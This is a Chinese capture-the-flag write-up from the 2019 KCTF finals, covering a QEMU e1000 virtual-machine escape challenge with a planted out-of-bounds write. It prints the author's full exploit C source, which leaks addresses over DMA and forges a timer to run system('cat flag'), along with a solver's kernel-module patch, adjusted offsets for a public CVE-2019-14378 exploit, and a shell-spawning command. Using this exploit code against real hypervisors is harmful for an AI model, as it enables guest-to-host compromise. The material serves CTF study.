2019 KCTF 总决赛 | 第八题《龙都星劫》点评及解题思路
2019-12-22 18:57:00 Author: mp.weixin.qq.com(查看原文) 阅读量:62 收藏


第八道题《龙都星劫》历时3天,已于20号中午12点关闭攻击通道。此题共有933人围观,最终仅有1支战队攻破,即辣鸡战队
1
题目简介

“恭喜你现在的鸡米花等级已经达到五级了,成功晋升十级就可以离开系统了哦。”
这次的场景来到了神话传说里的龙都,拥有地球上所拥有的一切,又有着地球人渴望而得不到的东西。
不过经过一番探查我发现这只是一个虚空的壳子而已。
生活在这里的神不知道活了多少年,年月在他们眼中不过是弹指一挥间。
生活无趣,周而复始。
于是这里的人学会了一个新的技能点:八卦。
在龙都吃了几天神仙大佬的瓜之后,一位大仙指着天边的一颗红色星星对我说:“快走吧,龙都的星劫要来了。”
我倒是想走啊,但是有系统的禁锢我哪儿也去不了。
看来这次的任务就是帮龙都的这群大仙们度过此劫了,来吧,我可不信天命。

[说明:本题是一道PWN题]

前期赛况胶着,各个战队苦思冥想而不得解,最终辣鸡战队成为整个赛场上唯一成功破解的战队,并成功跻身攻击方排行榜第一名。
本题难度较大,可见作者思路巧妙,接下来让我们一起来看一下这道题的点评和详细解析吧。
2
看雪评委crownless点评
这道题是一道系统安全题,主要考查了简单的qemu网卡交互方式、dma内存读写、timer对象伪造,难度中上。
设计思路亮点是qemu中dma内存交互,两行patch造成了e1000网络设备模拟中的越界写错误,通过越界写错误修改设备结构体的size,导致了越界读的问题。在泄露地址后伪造timer结构体,可以拿到shell。
3
出题团队简介
本题出题战队 404gg

团队简介:奇安信代码安全实验室安全研究员。


4
设计思路

设计思路

1. 去除默认网卡设备 e1000模拟上的一行长度校验,修改size从uint_16为uint_32。可造成对网卡对象0x100的越界写。
2. 修改网卡对象的size并调用e1000_receive.通过pci_dma_write实现任意长度的地址泄露。
3. 泄露出elf_base及网卡对象地址。
4. 再次进行越界写,覆盖网卡对象的mit_timer位置为伪造timer。
5. 在网卡对象data位置提前构造伪造的timer对象及timer_list对象,实现调用system(cat flag)。
考察部分:
qemu中dma内存交互,两行patch造成了e1000网络设备模拟中的越界写错误,通过越界写错误修改设备结构体的size,导致了越界读的问题。在泄露地址后伪造timer结构体拿到shell。
exp_e1000.c文件内容:

#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/io.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
unsigned char* mmio_mem;
char buf[0x10000],rxbuf[0x1000];
 
uint64_t virt2phys(void* p)
{
    uint64_t virt = (uint64_t)p;
     
    
 
    int fd = open("/proc/self/pagemap", O_RDONLY);
    if (fd == -1)
        die("open");
    uint64_t offset = (virt / 0x1000) * 8;
    lseek(fd, offset, SEEK_SET);
      
    uint64_t phys;
    if (read(fd, &phys, 8 ) != 8)
        die("read");
    
      
 
    phys = (phys & ((1ULL << 54) - 1)) * 0x1000+(virt&0xfff);
    return phys;
}
  
void die(const char* msg)
{
    perror(msg);
    exit(-1);
}
 
void mmio_write(uint32_t addr, uint32_t value)
{
    *((uint32_t*)(mmio_mem + addr)) = value;
}
 
uint64_t mmio_read(uint32_t addr)
{
    return *((uint64_t*)(mmio_mem + addr));
}
 
int main()
{
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:03.0/resource0", O_RDWR | O_SYNC);
    if (mmio_fd == -1)
        die("mmio_fd open failed");
 
mmio_mem = mmap(0, 0x20000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
    if (mmio_mem == MAP_FAILED)
        die("mmap mmio_mem failed");
 
 
char *dmabuf = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
    if (dmabuf == MAP_FAILED)
        die("mmap");
    mlock(dmabuf, 0x1000);

uint64_t dmabuf_phys_addr=virt2phys(buf);
char * rxbuf_phys_addr=virt2phys(rxbuf);
char * dmabuf_phys_addr1=dmabuf_phys_addr;
char *dmabuf_phys_addrz = virt2phys(dmabuf);

mmio_write(0x20,0x4204140);

uint32_t phys_addrh=(uint32_t)(dmabuf_phys_addr>>32);
uint32_t phys_addrl=(uint32_t)(dmabuf_phys_addr&0xffffffff);
mmio_write(0x3804,phys_addrh);
mmio_write(0x3800,phys_addrl);

mmio_write(0x2800,rxbuf_phys_addr);
mmio_write(0x2810,0);
 
uint64_t *buf1=buf;
uint64_t *rxbuf1=rxbuf;
 
memset(rxbuf,'a',0x1000);

for(int i=0;i<33;i++){
rxbuf1[2*i+0]=dmabuf_phys_addrz;
rxbuf1[2*i+1]=0xfff0182420ffff;
}

buf[8]=0xff;
buf[9]=0xff;

buf[10]=0x20;
buf[11]=0x24;

buf[0xd]=0x18;
buf[0xe]=0xf0;
buf[0xf]=0xff;

buf[0x18]=0xf0;
buf[0x19]=0xff;

buf[0x1b]=0x24;
buf[0x1a]=0x10;

buf1[2]=dmabuf_phys_addr1+0x30;

buf[0x28]=0xff;
buf[0x29]=0xff;

buf[0x2b]=0x25;
buf[0x2a]=0x10;

 
buf1[4]=rxbuf_phys_addr+0x100;
memset(buf+0x30,0x0,0x10000);

rxbuf[0x110]=0xf0;
rxbuf[0x111]=0x03;
rxbuf[0x112]=0x01;
rxbuf[0x113]=0x00;
rxbuf[0x114]=0x05;
rxbuf[0x115]=0x06;
rxbuf[0x116]=0x07;
rxbuf[0x117]=0x08;
 

mmio_write(0x3810,0);
mmio_write(0x3818,0x3);
 

uint64_t *tmp=dmabuf+4;
uint64_t base=tmp[29]-0x315920;

uint64_t s_base=tmp[18];

uint64_t system=base+0x2b1920;
printf("%llx\n",base);
printf("%llx\n",s_base);

rxbuf1[44]=s_base+0x22bc0+0x100;
 
uint64_t flag_addr=s_base+0x22bc0+0x300;
memset(buf+0x30,'a',0x100);
memcpy(buf+0x330,"cat flag\x0",9);

tmp=buf+0x130;

tmp[1]=s_base+0x22bc0+0x200;

tmp=buf+0x230;

buf[0x260]=1;

tmp[0]=s_base+0x22bc0+0x280;

tmp[8]=0;

tmp[10]=system;

tmp[11]=flag_addr;

buf[0xd]=0xf8;

mmio_write(0x20,0x4201140);

mmio_write(0x3810,0);
mmio_write(0x3818,0x3);
    return 0;
}

5
解题思路

本题解题思路由辣鸡战队战队 xym 提供:

第一次做这种题目,做出来还是挺兴奋的。刚下载下来的时候看到了qemu虚拟机还以为是普通的驱动题,所以在qemu里找了半天flag的位置,最后才发现本身是root账户,flag在qemu目录下,而且里面唯一的驱动模块是e1000.ko,不像一个出题人自定义的模块。
于是搜索E1000.ko,发现第一篇是“VirtualBox E1000 0day 虚拟机逃逸漏洞” ,时间是2018年11月7日的,因此怀疑是虚拟机逃逸的题目。但是虚拟化软件不对,加上QEMU关键字继续搜索,终于发现CVE-2019-14378这个漏洞,时间比较新,而且正好对应给我们的QEMU4.0版本,而且网上还提供了非常完整的利用代码。
https://github.com/vishnudevtj/exploits/tree/master/qemu/CVE-2019-14378
于是下载、编译、执行,发现程序执行了 printf("Run\n$ ip link set dev %s mtu 12000\n",interface);就退出了,原来这个poc要求虚拟机必须设置mtu至少为12000,而默认的大小是1500,自然执行不了。网上的执行步骤里第一步是:

sudo ifconfig ens3 mtu 12000 up

但是提供的虚拟机执行这一步的时候首先是提示ifconfig: SIOCSIFMTU: No such device,将设备名换成eth0后提示ifconfig: SIOCSIFMTU: Invalid argument。而且上面还有一条奇怪的信息显示(应该是作者方便我们调试,开启的DMESG信息)Invalid MTU 12000 requested, hw max 68,意思是最大只能68?(后面通过ida才发现这个是系统本身问题,这里本来应该显示最大值1500的,但错误的把最小值68输出来了)。
看起来这个系统有问题,不让我们设置超过1500的MTU。
题目提供的rootfs.cpio文件在ubuntu里可以直接打开,我把e1000.ko拖出来在ida里面看了看,里面函数名称很详细,代码结构也很清楚,可以直接找到e1000_change_mtu函数,里面对最大值的判断是a2 - 46 <= 0x3EC0,也就是16110字节,满足12000的要求。
难道是ifconfig程序有问题?这个系统里面的ifconfig是由busybox提供的,把busybox拖出来分析了一下,发现设置MTU部分也没有问题,也没有看到1500的限制。
那就只能是vmlinuz-4.8.0-52-generic这个内核文件有问题了。从网上搜索到:
https://packages.ubuntu.com/xenial-updates/linux-headers-4.8.0-52-generic
下载了原始的内核文件包进行比对,发现两个文件一模一样,没有被作者修改过。
那就奇怪了,难道是Qemu里面的硬件设置或者PC-Bios里文件限制的?看文件修改时间也不像。那就是内核本身限制了?我试了我现有的4.15.0-50-generic和4.18.0-25-generic也是轻松修改MTU。(后面测试果然就是4.8.0-52这个版本本身限制了MTU。
既然有了root权限,那就试试强改MTU吧,本来打算是直接修改驱动,把 e1000.ko 里的 e1000_change_mtu 输入固定成12000,但是发现这样修改后的模块没法insmod。会报一个129的未知错误,估计是存在自校验什么的把,也可能是.note.gnu.build-id这个节里的数据被内核校验了,具体原因还请有知道的大拿回复一下。反正我没找到直接hook驱动模块的方法。
那就只能安装一个一样的虚拟机环境来编译一个新的驱动了,从ubuntu官网下载了ubuntu-16.04.2-desktop-amd64.iso,安装了一个全新的系统,然后使用命令 sudo apt-get install linux-image-4.8.0-52-generic linux-headers-4.8.0-52-generic 把内核修改成 vmlinuz-4.8.0-52-generic,编译了一个hello world驱动放进去,可以正常insmod。ok,现在终于进入内核了。
从linux-4.8.1.tar的源码里找到实现修改MTU的函数是dev_set_mtu,从system.map里找到该函数在内核里的地址是ffffffff81779620,在ida里看到对应的的代码段如下:

if ( a1[148] == (_DWORD)a2 )
    goto LABEL_16;
  v3 = a1;
  v4 = a2;
  if ( (a2 & 0x80000000) != 0LL || (unsigned int)a2 < a1[149] )
  {
    if ( (unsigned int)sub_FFFFFFFF817966B0(a1, a2) )
    {
      v17 = a1[149];
      v18 = (unsigned int)a2;
      a2 = (unsigned __int64)a1;
      a1 = (unsigned int *)&invalidhwmin;
      sub_FFFFFFFF8119E99E(&invalidhwmin, a2, v18, v17);
    }
    goto LABEL_6;
  }
  v9 = a1[150];
  if ( v9 && (unsigned int)a2 > v9 )
  {
    if ( !(unsigned int)sub_FFFFFFFF817966B0(a1, a2) )
    {
LABEL_6:
      v5 = -22;
      goto LABEL_7;
    }
    v12 = a1[149];
    v13 = (unsigned int)a2;
    a2 = (unsigned __int64)a1;
    a1 = (unsigned int *)&invalidhwmax;
    v5 = -22;
    sub_FFFFFFFF8119E99E(&invalidhwmax, a2, v13, v12);
  }

通过分析可以发现其中 a1[148]是系统MTU的值, a1[149]是系统下限, a1[150]是系统上限,最后打印invalidhwmax的时候使用的是 a1[149],所以显示最大值是系统下限,这个应该是系统的一个bug。
只要通过修改内核代码,把判断语句中的 (unsigned int)a2 < a1[149] 改成 a1[150] = (unsigned int)a2 ,就可以修改MTU上限了。
在驱动中添加对应代码:

static int hello_init(void) {
        printk(KERN_ALERT "Hello, world,%p\n",printk);
    offset = (char*)printk - 0xffffffff8119e99e;
        dev_set_mtu = offset + 0xFFFFFFFF81779620;
    target = offset + 0xFFFFFFFF81779659;
        set_memory_rw = (Proc_set_memory_rw)(offset + 0xffffffff8106f230);
        set_memory_rw(target - 0x659,10);
        disable_wp();
        target[0] = 0x89;
        target[2] = 0x58;
        enable_wp();
        set_memory_x(target - 0x659,10);
        return 0;
}

加载hello.ko后就可以正常修改MTU了。
之后就可以使用网上的POC进行测试了,原理网上讲的很详细,我就不重复了。由于QEMU版本不同,第一次肯定没有成功。首先通过ida更改QEMU Symbol offset如下:

#define SYSTEM_PLT 0x2B1920
#define QEMU_CLOCK 0x0FF74A0
#define QEMU_TIMER_NOTIFY_CB 0x3028E0
#define MAIN_LOOP_TLG 0x00FF7480
#define CPU_UPDATE_STATE 0x40A1C0
 


#define FAKE_STRUCT 0xffb300

然后通过输出的ICMP信息,发现QEMU对应位置的内存布局变了,数据包偏移0x40处不是CPU_UPDATE_STATE,而在内存0xc0出现了tcg_init_ctx的地址。

Recieved ICMP Replay : :

  0000  52 54 00 12 34 56 52 55 0a 00 02 02 08 00 45 00  RT..4VRU......E.

  0010  00 1c 00 02 00 00 ff 01 a3 ce 0a 00 02 02 0a 00  ................

  0020  02 0f 00 00 ff ff 00 00 00 00 00 00 00 00 00 00  ................

  0030  00 00 00 00 00 00 00 00 a5 98 00 00 00 00 00 00  ................

  0040  b8 bb 00 1c 53 7f 00 00 d0 23 01 1c 53 7f 00 00  ....S....#..S...

  0050  c0 a3 00 1c 53 7f 00 00 c0 a3 00 1c 53 7f 00 00  ....S.......S...

  0060  00 00 00 00 00 00 00 00 02 00 00 00 24 00 00 00  ............$...

  0070  32 00 00 00 00 00 00 00 1c 00 00 00 00 00 00 00  2...............

  0080  c0 ca c0 23 53 7f 00 00 5c ca c0 23 53 7f 00 00  ...#S...\..#S...

  0090  60 ca c0 23 53 7f 00 00 00 00 00 00 00 00 00 00  `..#S...........

  00a0  30 00 00 00 00 00 08 ff 80 00 00 00 00 00 00 00  0...............

  00b0  80 00 00 00 00 00 00 00 80 04 00 00 00 00 00 00  ................

  00c0  70 7f db 40 77 55 00 00 90 cb c0 23 53 7f 00 00  p..@wU.....#S...

  00d0  00 00 00 23 53 7f 00 00 16 00 00 23 53 7f 00 00  ...#S......#S...

  00e0  2d 00 00 23 53 7f 00 00 d3 ef ff 00 00 00 00 00  -..#S...........

  00f0  a0 cb c0 23 53 7f 00 00 88 cb c0 23 53 7f 00 00  ...#S......#S...

  0110  00 00 00 00 00 00 00 00 30 bb 00 1c 53 7f 00 00  ........0...S...

  0120  68 bb 00 00 00 00 00 00 00 00                    h.........

通过以上修正,就可以成功实现把QEMU弄崩溃了,崩溃的信息是ev->initialized的一个断言,说是QemuEvent未初始化。
跟踪调试程序,并与ida对比后发现是POC中的QEMU Structs定义与当前版本不符,修改结构体如下:

struct QEMUTimer {
    int64_t expire_time;
    void *timer_list;
    void *cb;
    void *opaque;
    void *next;
    int attributes;
    int scale;
};
 
struct QEMUTimerList {
    void * clock;
    char active_timers_lock[0x30];
    struct QEMUTimer *active_timers;
    struct QEMUTimerList *le_next;                         \
    struct QEMUTimerList **le_prev;    \
    void *notify_cb;
    void *notify_opaque;
 
    
    size_t timers_done_ev;
};

然后 崩溃的信息 变成了 mutex->initialized的一个断言,根据调试器显示的偏移,将对应位置修改如下:

*(size_t *)&tl->active_timers_lock[0x28] = 1;

然后就可以成功触发了。只是由于程序涉及多次写内存,测试中不是每次都成功,但是只要多执行两次,基本cat flag的概率还是非常高的。
我把最后执行的命令改成了:

char cmd[] = "id;cat flag;/bin/sh";

测试成功,取得flag,本题攻破。

6
合作伙伴

 

上海第五空间信息科技研究院】(简称:第五空间)是经上海市社会组织管理局批准成立,上海市科协作为业务主管部门的新型研发机构,由翼盾智能科技创始人积聚社会力量发起成立,立足科技事业,支撑国家战略,开展科技研究,推进协同创新。

 

杭州安恒信息技术股份有限公司】(简称:安恒信息)成立于2007年,科创板股票代码:688023,一直专注于网络信息安全领域,公司主营业务为网络信息安全产品的研发、生产及销售,并为客户提供专业的网络信息安全服务。公司的产品及服务涉及应用安全、大数据安全、云安全、物联网安全、工业控制安全及工业互联网安全等领域。



第九题《四季之歌》正在火热进行中
仅剩两道题
抓紧最后的机会
快来挑战吧!
如果你想了解更多比赛详情,戳这里
2019 KCTF总决赛 | 巅峰对决,谁与争锋!
第九题《四季之歌》等你来攻破

文章来源: http://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458302199&amp;idx=1&amp;sn=3fd4d4679dbb6fdf4d1013d6a52de883&amp;chksm=b181867d86f60f6b5e6166d4b6cb34935e4e4da46de281171fb131103117352b4da5a9363f0b#rd
如有侵权请联系:admin#unsafe.sh